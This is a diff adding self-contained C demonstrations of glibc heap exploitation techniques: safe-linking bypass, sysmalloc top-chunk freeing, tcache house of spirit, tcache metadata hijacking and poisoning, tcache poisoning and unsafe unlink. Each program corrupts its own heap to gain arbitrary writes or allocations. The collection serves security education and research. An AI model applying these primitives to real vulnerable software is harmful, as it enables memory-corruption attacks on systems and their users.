@@ -0,0 +1,131 @@
+#include
+#include
+#include
+#include
+
+/*
+ * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32.
+ * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41
+ *
+ * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will
+ * contain 4 bits of randomness. If you can increment integers, no brutefore is required.
+ *
+ * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists.
+ * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.
+ *
+ * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is
+ * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it
+ * would be XOR'd again with the same key, effectively reverting the protection.
+ * Thus, by simply protecting a pointer twice we effectively achieve the following:
+ *
+ * (ptr^key)^key = ptr
+ *
+ * The technique requires control over the t-cache metadata, so pairing it with a technique such as
+ * house of water might be favourable.
+ *
+ * Technique by @udp_ctf - Water Paddler / Blue Water
+ */
+
+int main(void) {
+ // Prevent _IO_FILE from buffering in the heap
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+ setbuf(stderr, NULL);
+
+ // Create the goal stack buffer
+ char goal[] = "Replace me!";
+ puts("============================================================");
+ printf("Our goal is to write to the stack variable @ %p\n", goal);
+ printf("String contains: %s\n", goal);
+ puts("============================================================");
+ puts("\n");
+
+ // force the allocation of tcache_perthread_struct
+ free(malloc(0x60));
+
+ // Step 1: Allocate
+ puts("Allocate two chunks in two different t-caches:");
+
+ // Allocate two chunks of size 0x28 for 0x30 t-cache
+ puts("\t- 0x30 chunks:");
+ void *a = malloc(0x28);
+ void *b = malloc(0x28);
+ printf("\t\t* Entry a @ %p\n", a);
+ printf("\t\t* Entry b @ %p\n", b);
+
+ // Allocate two chunks of size 0x18 for 0x20 t-cache
+ void *c = malloc(0x18);
+ void *d = malloc(0x18);
+ puts("\t- 0x20 chunks:");
+ printf("\t\t* Entry c @ %p\n", c);
+ printf("\t\t* Entry d @ %p\n", d);
+ puts("");
+
+ // Step 2: Write an arbitrary value (or note the offset to an exsisting value)
+ puts("Allocate a pointer which will contain a pointer to the stack variable:");
+
+ // Allocate a chunk and store a modified pointer to the 'goal' array.
+ void *value = malloc(0x28);
+ // make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur
+ *(long *)value = ((long)(goal) & ~(0xf));
+
+ printf("\t* Arbitrary value (0x%lx) written to %p\n", *(long*)value, value);
+ puts("");
+
+ // Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches
+ puts("Free the 0x30 and 0x20 chunks to populate the t-caches");
+
+ puts("\t- Free 0x30 chunks:");
+ // Free the allocated 0x28 chunks to populate the 0x30 t-cache
+ free(a);
+ free(b);
+ printf("\t\t> 0x30 t-cache: [%p -> %p]\n", b, a);
+
+ puts("\t- Free the 0x20 chunks");
+ // Free the allocated 0x18 chunks to populate the 0x20 t-cache
+ free(c);
+ free(d);
+ printf("\t\t> 0x20 t-cache: [%p -> %p]\n", d, c);
+ puts("");
+
+ // Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability
+ puts("Modify the 0x30 t-cache pointer to point to the heap value that holds our arbitrary value, ");
+ puts("by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:");
+
+ // Calculate the address of the t-cache metadata
+ void *metadata = (void *)((long)(value) & ~(0xfff)) + 0x70;
+
+ // Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value
+ *(unsigned int*)(metadata+0xb0) = (((long)metadata >> 12) << 12)+((long)(value) & (0xfff));
+
+ printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12));
+ puts("");
+
+ puts("Allocate once to make the protected pointer the current entry in the 0x40 bin:");
+ void *_ = malloc(0x28);
+ printf("\t\t> 0x30 t-cache: [0x%lx]\n", *(unsigned long*)(metadata+0xb0));
+ puts("");
+
+ /* VULNERABILITY */
+ puts("Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:");
+ *(unsigned int*)(metadata+0xa8) = (long)(metadata)+0xb0;
+ printf("\t\t> 0x20 t-cache: [0x%lx -> 0x%lx]\n", (long)(metadata)+0xb0, *(long*)value);
+ puts("");
+ /* VULNERABILITY */
+
+ // Step 5: Allocate twice to allocate the arbitrary value
+ puts("Allocate twice to gain a pointer to our arbitrary value");
+
+ _ = malloc(0x18);
+ printf("\t\t> First 0x20 allocation: %p\n", _);
+
+ char *vuln = malloc(0x18);
+ printf("\t\t> Second 0x20 allocation: %p\n", vuln);
+ puts("");
+
+ // Step 6: Overwrite the goal string pointer and verify it has been changed
+ strcpy(vuln, "XXXXXXXXXXX HIJACKED!");
+
+ printf("String now contains: %s\n", goal);
+ assert(strcmp(goal, "Replace me!") != 0);
+}
diff --git a/glibc_2.43/sysmalloc_int_free.c b/glibc_2.43/sysmalloc_int_free.c
new file mode 100644
index 0000000..466258e
--- /dev/null
+++ b/glibc_2.43/sysmalloc_int_free.c
@@ -0,0 +1,179 @@
+#define _GNU_SOURCE
+
+#include
+#include
+#include
+#include
+#include
+
+#define SIZE_SZ sizeof(size_t)
+
+#define CHUNK_HDR_SZ (SIZE_SZ*2)
+// same for x86_64 and x86
+#define MALLOC_ALIGN 0x10
+#define MALLOC_MASK (-MALLOC_ALIGN)
+
+#define PAGESIZE sysconf(_SC_PAGESIZE)
+#define PAGE_MASK (PAGESIZE-1)
+
+// fencepost are offsets removed from the top before freeing
+#define FENCEPOST (2*CHUNK_HDR_SZ)
+
+#define PROBE (0x20-CHUNK_HDR_SZ)
+
+// target top chunk size that should be freed
+#define CHUNK_FREED_SIZE 0x150
+#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)
+
+/**
+ * Tested on:
+ * + GLIBC 2.39 (x86_64, x86 & aarch64)
+ * + GLIBC 2.34 (x86_64, x86 & aarch64)
+ * + GLIBC 2.31 (x86_64, x86 & aarch64)
+ * + GLIBC 2.27 (x86_64, x86 & aarch64)
+ *
+ * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,
+ * which can be used to corrupt heap without needing to call free() directly.
+ * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),
+ * if the top_chunk can't be merged during heap growth
+ * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913
+ *
+ * This technique is used in House of Orange & Tangerine
+ */
+int main() {
+ size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;
+ // disable buffering
+ setvbuf(stdout, NULL, _IONBF, 0);
+ setvbuf(stdin, NULL, _IONBF, 0);
+ setvbuf(stderr, NULL, _IONBF, 0);
+
+ // check if all chunks sizes are aligned
+ assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);
+
+ puts("Constants:");
+ printf("chunk header \t\t= 0x%lx\n", CHUNK_HDR_SZ);
+ printf("malloc align \t\t= 0x%lx\n", MALLOC_ALIGN);
+ printf("page align \t\t= 0x%lx\n", PAGESIZE);
+ printf("fencepost size \t\t= 0x%lx\n", FENCEPOST);
+ printf("freed size \t\t= 0x%lx\n", FREED_SIZE);
+
+ printf("target top chunk size \t= 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);
+
+ // probe the current size of the top_chunk,
+ // can be skipped if it is already known or predictable
+ new = malloc(PROBE);
+ top_size = new[(PROBE / SIZE_SZ) + 1];
+ printf("first top size \t\t= 0x%lx\n", top_size);
+
+ // calculate allocated_size
+ allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;
+ allocated_size &= PAGE_MASK;
+ allocated_size &= MALLOC_MASK;
+
+ printf("allocated size \t\t= 0x%lx\n\n", allocated_size);
+
+ puts("1. create initial malloc that will be used to corrupt the top_chunk (wilderness)");
+ new = malloc(allocated_size);
+
+ // use BOF or OOB to corrupt the top_chunk
+ top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];
+
+ top_size = *top_size_ptr;
+
+ printf(""
+ "----- %-14p ----\n"
+ "| NEW | <- initial malloc\n"
+ "| |\n"
+ "----- %-14p ----\n"
+ "| TOP | <- top chunk (wilderness)\n"
+ "| SIZE (0x%05lx) |\n"
+ "| ... |\n"
+ "----- %-14p ---- <- end of current heap page\n\n",
+ new - 2,
+ top_size_ptr - 1,
+ top_size - 1,
+ top_size_ptr - 1 + (top_size / SIZE_SZ));
+
+ puts("2. corrupt the size of top chunk to be less, but still page aligned");
+
+ // make sure corrupt top size is page aligned, generally 0x1000
+ // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599
+ new_top_size = top_size & PAGE_MASK;
+ *top_size_ptr = new_top_size;
+ printf(""
+ "----- %-14p ----\n"
+ "| NEW |\n"
+ "| AAAAAAAAAAAAAAAAAAAAA | <- positive OOB (i.e. BOF)\n"
+ "----- %-14p ----\n"
+ "| TOP | <- corrupt size of top chunk (wilderness)\n"
+ "| SIZE (0x%05lx) |\n"
+ "----- %-14p ---- <- still page aligned\n"
+ "| ... |\n"
+ "----- %-14p ---- <- end of current heap page\n\n",
+ new - 2,
+ top_size_ptr - 1,
+ new_top_size - 1,
+ top_size_ptr - 1 + (new_top_size / SIZE_SZ),
+ top_size_ptr - 1 + (top_size / SIZE_SZ));
+
+
+ puts("3. create an allocation larger than the remaining top chunk, to trigger heap growth");
+ puts("The now corrupt top_chunk triggers sysmalloc to call _init_free on it");
+
+ // remove fencepost from top_chunk, to get size that will be freed
+ // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895
+ freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
+ assert(freed_top_size == CHUNK_FREED_SIZE);
+
+ old = new;
+ new = malloc(CHUNK_FREED_SIZE + 0x10);
+
+ printf(""
+ "----- %-14p ----\n"
+ "| OLD |\n"
+ "| AAAAAAAAAAAAAAAAAAAAA |\n"
+ "----- %-14p ----\n"
+ "| FREED | <- old top got freed because it couldn't be merged\n"
+ "| SIZE (0x%05lx) |\n"
+ "----- %-14p ----\n"
+ "| FENCEPOST | <- just some architecture depending padding\n"
+ "----- %-14p ---- <- still page aligned\n"
+ "| ... |\n"
+ "----- %-14p ---- <- end of previous heap page\n"
+ "| NEW | <- new malloc\n"
+ "-------------------------\n"
+ "| TOP | <- top chunk (wilderness)\n"
+ "| ... |\n"
+ "------------------------- <- end of current heap page\n\n",
+ old - 2,
+ top_size_ptr - 1,
+ freed_top_size,
+ top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),
+ top_size_ptr - 1 + (new_top_size / SIZE_SZ),
+ new - (MALLOC_ALIGN / SIZE_SZ));
+
+ puts("...\n");
+
+ puts("?. reallocated into the freed chunk");
+
+ old = new;
+ new = malloc(FREED_SIZE);
+
+ assert((size_t) old > (size_t) new);
+
+ printf(""
+ "----- %-14p ----\n"
+ "| NEW | <- allocated into the freed chunk\n"
+ "| |\n"
+ "----- %-14p ----\n"
+ "| ... |\n"
+ "----- %-14p ---- <- end of previous heap page\n"
+ "| OLD | <- old malloc\n"
+ "-------------------------\n"
+ "| TOP | <- top chunk (wilderness)\n"
+ "| ... |\n"
+ "------------------------- <- end of current heap page\n",
+ new - 2,
+ top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),
+ old - (MALLOC_ALIGN / SIZE_SZ));
+}
diff --git a/glibc_2.43/tcache_house_of_spirit.c b/glibc_2.43/tcache_house_of_spirit.c
new file mode 100644
index 0000000..76d1b57
--- /dev/null
+++ b/glibc_2.43/tcache_house_of_spirit.c
@@ -0,0 +1,44 @@
+#include
+#include
+#include
+
+int main()
+{
+ setbuf(stdout, NULL);
+
+ printf("This file demonstrates the house of spirit attack on tcache.\n");
+ printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
+ printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
+ printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
+
+ printf("Ok. Let's start with the example!.\n\n");
+
+
+ printf("Calling malloc() once so that it sets up its memory.\n");
+ malloc(1);
+
+ printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
+ unsigned long long *a; //pointer that will be overwritten
+ unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region
+
+ printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
+
+ printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
+ printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
+ fake_chunks[1] = 0x40; // this is the size
+
+
+ printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
+ printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
+
+ a = &fake_chunks[2];
+
+ printf("Freeing the overwritten pointer.\n");
+ free(a);
+
+ printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
+ void *b = malloc(0x30);
+ printf("malloc(0x30): %p\n", b);
+
+ assert((long)b == (long)&fake_chunks[2]);
+}
diff --git a/glibc_2.43/tcache_metadata_hijacking.c b/glibc_2.43/tcache_metadata_hijacking.c
new file mode 100644
index 0000000..15924e2
--- /dev/null
+++ b/glibc_2.43/tcache_metadata_hijacking.c
@@ -0,0 +1,38 @@
+#include
+#include
+#include
+
+int main()
+{
+ // disable buffering so _IO_FILE does not interfere with our heap
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ // introduction
+ puts("This file demonstrates an interesting feature of glibc-2.42: the `tcache_perthread_struct`");
+ puts("may not be at the top of the heap, which makes it easy to turn a heap overflow into arbitrary allocation.\n");
+
+
+ puts("In the past, before using the heap, libc will initialize tcache using `MAYBE_INIT_TCACHE`.");
+ puts("But this patch removes the call in the non-tcache path: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508");
+ puts("As a result, we can put many large chunks before tcache_perthread_struct");
+ puts("and use a heap overflow primitive (or chunk overlapping) to hijack `tcache_perthread_struct`\n");
+
+ long target[0x4] __attribute__ ((aligned (0x10)));
+
+ long *chunk = malloc(0x420);
+ printf("first, allocate a large chunk at the top of the heap: %p\n", chunk);
+ void *p1 = malloc(0x10);
+ free(p1);
+ printf("now, allocate a chunk and free it to initialize tcache_perthread_struct and put it right before our chunk\n");
+ printf("the tcache_perthread_struct->tcache_entry[0] should be initialized with %p\n", p1);
+
+ printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n");
+ /*Vulnerability*/
+ chunk[0x420/8+25] = (long)&target[0];
+ /*Vulnerability*/
+
+ void *p2 = malloc(0x10);
+ printf("Then the next allocation will be at our wanted address: %p\n", p2);
+ assert(p2 == &target[0]);
+}
diff --git a/glibc_2.43/tcache_metadata_poisoning.c b/glibc_2.43/tcache_metadata_poisoning.c
new file mode 100644
index 0000000..c72ad15
--- /dev/null
+++ b/glibc_2.43/tcache_metadata_poisoning.c
@@ -0,0 +1,60 @@
+#include
+#include
+#include
+#include
+
+// Tcache metadata poisoning attack
+// ================================
+//
+// By controlling the metadata of the tcache an attacker can insert malicious
+// pointers into the tcache bins. This pointer then can be easily accessed by
+// allocating a chunk of the appropriate size.
+
+// By default there are 64 tcache bins
+#define TCACHE_BINS 76
+// The header of a heap chunk is 0x10 bytes in size
+#define HEADER_SIZE 0x10
+
+// This is the `tcache_perthread_struct` (or the tcache metadata)
+struct tcache_metadata {
+ uint16_t counts[TCACHE_BINS];
+ void *entries[TCACHE_BINS];
+};
+
+int main() {
+ // Disable buffering
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ uint64_t stack_target __attribute__ ((aligned (0x10))) = 0x1337;
+
+ puts("This example demonstrates what an attacker can achieve by controlling\n"
+ "the metadata chunk of the tcache.\n");
+ puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
+ "will also serve as the relative offset to calculate the base of the\n"
+ "metadata chunk.");
+ uint64_t *victim = malloc(0x10);
+ printf("Victim chunk is at: %p.\n\n", victim);
+ puts("Now freeing it will lead to the allocation of the metadata on heap");
+ free(victim);
+
+ printf("Next we have to calculate the base address of the metadata struct.\n"
+ "The metadata struct itself is %#lx bytes in size. Additionally we\n"
+ "have to subtract the header of the victim chunk (so an extra 0x10\n"
+ "bytes).\n",
+ sizeof(struct tcache_metadata));
+ struct tcache_metadata *metadata =
+ (struct tcache_metadata *)((long)victim + 2*HEADER_SIZE);
+ printf("The tcache metadata is located at %p.\n\n", metadata);
+
+ puts("Now we manipulate the metadata struct and insert the target address\n"
+ "in a chunk. Here we choose the second tcache bin.\n");
+ metadata->counts[1] = 6;
+ metadata->entries[1] = &stack_target;
+
+ uint64_t *evil = malloc(0x20);
+ printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
+ "second tcache bin. The returned pointer is %p.\n",
+ evil);
+ assert(evil == &stack_target);
+}
diff --git a/glibc_2.43/tcache_poisoning.c b/glibc_2.43/tcache_poisoning.c
new file mode 100644
index 0000000..d3f6bb9
--- /dev/null
+++ b/glibc_2.43/tcache_poisoning.c
@@ -0,0 +1,63 @@
+#include
+#include
+#include
+#include
+
+int main()
+{
+ // disable buffering
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
+ "returning a pointer to an arbitrary location (in this case, the stack).\n"
+ "The attack is very similar to fastbin corruption attack.\n");
+ printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
+ "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
+ printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
+ "An heap address leak is needed to perform tcache poisoning.\n"
+ "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");
+
+ size_t stack_var[0x10];
+ size_t *target = NULL;
+
+ // choose a properly aligned target address
+ for(int i=0; i<0x10; i++) {
+ if(((long)&stack_var[i] & 0xf) == 0) {
+ target = &stack_var[i];
+ break;
+ }
+ }
+ assert(target != NULL);
+
+ printf("The address we want malloc() to return is %p.\n", target);
+
+ printf("Allocating 2 buffers.\n");
+ intptr_t *a = malloc(128);
+ printf("malloc(128): %p\n", a);
+ intptr_t *b = malloc(128);
+ printf("malloc(128): %p\n", b);
+
+ printf("Freeing the buffers...\n");
+ free(a);
+ free(b);
+
+ printf("Now the tcache list has [ %p -> %p ].\n", b, a);
+ printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
+ "to point to the location to control (%p).\n", sizeof(intptr_t), b, target);
+ // VULNERABILITY
+ // the following operation assumes the address of b is known, which requires a heap leak
+ b[0] = (intptr_t)((long)target ^ (long)b >> 12);
+ // VULNERABILITY
+ printf("Now the tcache list has [ %p -> %p ].\n", b, target);
+
+ printf("1st malloc(128): %p\n", malloc(128));
+ printf("Now the tcache list has [ %p ].\n", target);
+
+ intptr_t *c = malloc(128);
+ printf("2nd malloc(128): %p\n", c);
+ printf("We got the control\n");
+
+ assert((long)target == (long)c);
+ return 0;
+}
diff --git a/glibc_2.43/unsafe_unlink.c b/glibc_2.43/unsafe_unlink.c
new file mode 100644
index 0000000..eef44ed
--- /dev/null
+++ b/glibc_2.43/unsafe_unlink.c
@@ -0,0 +1,64 @@
+#include
+#include
+#include
+#include
+#include
+
+uint64_t *chunk0_ptr;
+
+int main()
+{
+ setbuf(stdout, NULL);
+ printf("Welcome to unsafe unlink 2.0!\n");
+ printf("Tested in Ubuntu 20.04 64bit.\n");
+ printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
+ printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
+
+ int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
+ int header_size = 2;
+
+ printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
+
+ chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
+ uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
+ printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
+ printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
+
+ printf("We create a fake chunk inside chunk0.\n");
+ printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
+ chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
+ printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
+ chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
+ printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
+ printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
+ chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
+ printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
+ printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
+
+ printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
+ uint64_t *chunk1_hdr = chunk1_ptr - header_size;
+ printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
+ printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
+ chunk1_hdr[0] = malloc_size;
+ printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
+ printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
+ chunk1_hdr[1] &= ~1;
+
+ printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
+ printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
+ free(chunk1_ptr);
+
+ printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
+ char victim_string[8];
+ strcpy(victim_string,"Hello!~");
+ chunk0_ptr[3] = (uint64_t) victim_string;
+
+ printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
+ printf("Original value: %s\n",victim_string);
+ chunk0_ptr[0] = 0x4141414142424242LL;
+ printf("New Value: %s\n",victim_string);
+
+ // sanity check
+ assert(*(long *)victim_string == 0x4141414142424242L);
+}
+